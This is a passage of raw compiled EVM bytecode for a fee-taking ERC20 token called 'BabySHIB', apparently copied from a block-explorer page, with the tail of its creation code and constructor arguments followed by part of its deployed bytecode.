fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff2906127b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106290612844565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114991906123a6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be906128d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90612968565b60405180910390fd5b6000821161127a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611271906129fa565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161153791906123a6565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d9190612257565b60405180910390fd5b50600083856115a59190612a49565b9050809150509392505050565b60008082846115c19190612a7d565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd90612b1f565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d091906123a6565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade91906123a6565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612b3f565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c289190612bb2565b81600181518110611c3c57611c3b612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612c9d565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a9190612de6565b600081518110611d3d57611d3c612b6e565b5b602002602001015190508086611d539190612a49565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612b3f565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7b57600080fd5b505afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb39190612bb2565b81600181518110611ec757611ec6612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2e30600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8b565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f92959493929190612e74565b600060405180830381600087803b158015611fac57600080fd5b505af1158015611fc0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ff5929190612c9d565b60405180910390a15050565b6000808314156120145760009050612076565b600082846120229190612ece565b90508284826120319190612f57565b14612071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206890612ffa565b60405180910390fd5b809150505b92915050565b60006120be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b600061210883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612156573d6000803e3d6000fd5b505050565b600080831182906121a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121999190612257565b60405180910390fd5b50600083856121b19190612f57565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121f85780820151818401526020810190506121dd565b83811115612207576000848401525b50505050565b6000601f19601f8301169050919050565b6000612229826121be565b61223381856121c9565b93506122438185602086016121da565b61224c8161220d565b840191505092915050565b60006020820190508181036000830152612271818461221e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122b88261228d565b9050919050565b6122c8816122ad565b81146122d357600080fd5b50565b6000813590506122e5816122bf565b92915050565b6000819050919050565b6122fe816122eb565b811461230957600080fd5b50565b60008135905061231b816122f5565b92915050565b6000806040838503121561233857612337612283565b5b6000612346858286016122d6565b92505060206123578582860161230c565b9150509250929050565b60008115159050919050565b61237681612361565b82525050565b6000602082019050612391600083018461236d565b92915050565b6123a0816122eb565b82525050565b60006020820190506123bb6000830184612397565b92915050565b6000806000606084860312156123da576123d9612283565b5b60006123e8868287016122d6565b93505060206123f9868287016122d6565b925050604061240a8682870161230c565b9150509250925092565b600060ff82169050919050565b61242a81612414565b82525050565b60006020820190506124456000830184612421565b92915050565b60006020828403121561246157612460612283565b5b600061246f8482850161230c565b91505092915050565b60006020828403121561248e5761248d612283565b5b600061249c848285016122d6565b91505092915050565b60006060820190506124ba6000830186612397565b6124c76020830185612397565b6124d4604083018461236d565b949350505050565b6124e5816122ad565b82525050565b600060208201905061250060008301846124dc565b92915050565b61250f81612361565b811461251a57600080fd5b50565b60008135905061252c81612506565b92915050565b60006020828403121561254857612547612283565b5b60006125568482850161251d565b91505092915050565b6000806040838503121561257657612575612283565b5b6000612584858286016122d6565b9250506020612595858286016122d6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806125e657607f821691505b602082108114156125fa576125f961259f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006126366020836121c9565b915061264182612600565b602082019050919050565b6000602082019050818103600083015261266581612629565b9050919050565b60008151905061267b816122f5565b92915050565b60006020828403121561269757612696612283565b5b60006126a58482850161266c565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061270a6026836121c9565b9150612715826126ae565b604082019050919050565b60006020820190508181036000830152612739816126fd565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061279c6024836121c9565b91506127a782612740565b604082019050919050565b600060208201905081810360008301526127cb8161278f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061282e6022836121c9565b9150612839826127d2565b604082019050919050565b6000602082019050818103600083015261285d81612821565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128c06025836121c9565b91506128cb82612864565b604082019050919050565b600060208201905081810360008301526128ef816128b3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006129526023836121c9565b915061295d826128f6565b604082019050919050565b6000602082019050818103600083015261298181612945565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129e46029836121c9565b91506129ef82612988565b604082019050919050565b60006020820190508181036000830152612a13816129d7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a54826122eb565b9150612a5f836122eb565b925082821015612a7257612a71612a1a565b5b828203905092915050565b6000612a88826122eb565b9150612a93836122eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ac857612ac7612a1a565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b09601b836121c9565b9150612b1482612ad3565b602082019050919050565b60006020820190508181036000830152612b3881612afc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612bac816122bf565b92915050565b600060208284031215612bc857612bc7612283565b5b6000612bd684828501612b9d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c14816122ad565b82525050565b6000612c268383612c0b565b60208301905092915050565b6000602082019050919050565b6000612c4a82612bdf565b612c548185612bea565b9350612c5f83612bfb565b8060005b83811015612c90578151612c778882612c1a565b9750612c8283612c32565b925050600181019050612c63565b5085935050505092915050565b6000604082019050612cb26000830185612397565b8181036020830152612cc48184612c3f565b90509392505050565b600080fd5b612cdb8261220d565b810181811067ffffffffffffffff82111715612cfa57612cf9612b3f565b5b80604052505050565b6000612d0d612279565b9050612d198282612cd2565b919050565b600067ffffffffffffffff821115612d3957612d38612b3f565b5b602082029050602081019050919050565b600080fd5b6000612d62612d5d84612d1e565b612d03565b90508083825260208201905060208402830185811115612d8557612d84612d4a565b5b835b81811015612dae5780612d9a888261266c565b845260208401935050602081019050612d87565b5050509392505050565b600082601f830112612dcd57612dcc612ccd565b5b8151612ddd848260208601612d4f565b91505092915050565b600060208284031215612dfc57612dfb612283565b5b600082015167ffffffffffffffff811115612e1a57612e19612288565b5b612e2684828501612db8565b91505092915050565b6000819050919050565b6000819050919050565b6000612e5e612e59612e5484612e2f565b612e39565b6122eb565b9050919050565b612e6e81612e43565b82525050565b600060a082019050612e896000830188612397565b612e966020830187612e65565b8181036040830152612ea88186612c3f565b9050612eb760608301856124dc565b612ec46080830184612397565b9695505050505050565b6000612ed9826122eb565b9150612ee4836122eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1d57612f1c612a1a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f62826122eb565b9150612f6d836122eb565b925082612f7d57612f7c612f28565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fe46021836121c9565b9150612fef82612f88565b604082019050919050565b6000602082019050818103600083015261301381612fd7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220efbf4f210303ead70aac35d95b4e0c84a7c6e50c9df649b6d814d492020c33c364736f6c6343000808003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000c3c1df0f330cd95a9bfdb09cd4778210a7b4b1d40000000000000000000000000000000000000000000000000000000000000008426162795348494200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084261627953484942000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b9190612257565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612321565b610529565b604051610178919061237c565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a391906123a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906123c1565b610551565b6040516101e0919061237c565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b9190612430565b60405180910390f35b34801561022057600080fd5b5061023b60048036038101906102369190612321565b610642565b604051610248919061237c565b60405180910390f35b34801561025d57600080fd5b506102786004803603810190610273919061244b565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c9190612478565b610794565b6040516102b0939291906124a5565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612478565b6108ea565b6040516102ed91906123a6565b60405180910390f35b34801561030257600080fd5b5061030b610933565b60405161031891906124eb565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a9190612257565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190612321565b610b41565b604051610397919061237c565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c29190612321565b610c0e565b6040516103d4919061237c565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff91906124eb565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a9190612532565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061255f565b610d3a565b60405161046591906123a6565b60405180910390f35b34801561047a57600080fd5b5061049560048036038101906104909190612478565b610dc1565b005b6060600280546104a6906125ce565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906125ce565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b8560405180606001604052806028815260200161301b60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107819061264c565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161083991906124eb565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612681565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e89061264c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe906125ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea906125ce565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130436025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd9061264c565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f919061237c565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d9061264c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612720565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff2906127b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106290612844565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114991906123a6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be906128d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90612968565b60405180910390fd5b6000821161127a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611271906129fa565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161153791906123a6565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d9190612257565b60405180910390fd5b50600083856115a59190612a49565b9050809150509392505050565b60008082846115c19190612a7d565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd90612b1f565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d091906123a6565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade91906123a6565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612b3f565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c289190612bb2565b81600181518110611c3c57611c3b612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612c9d565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a9190612de6565b600081518110611d3d57611d3c612b6e565b5b602002602001015190508086611d539190612a49565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612b3f565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612b6e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff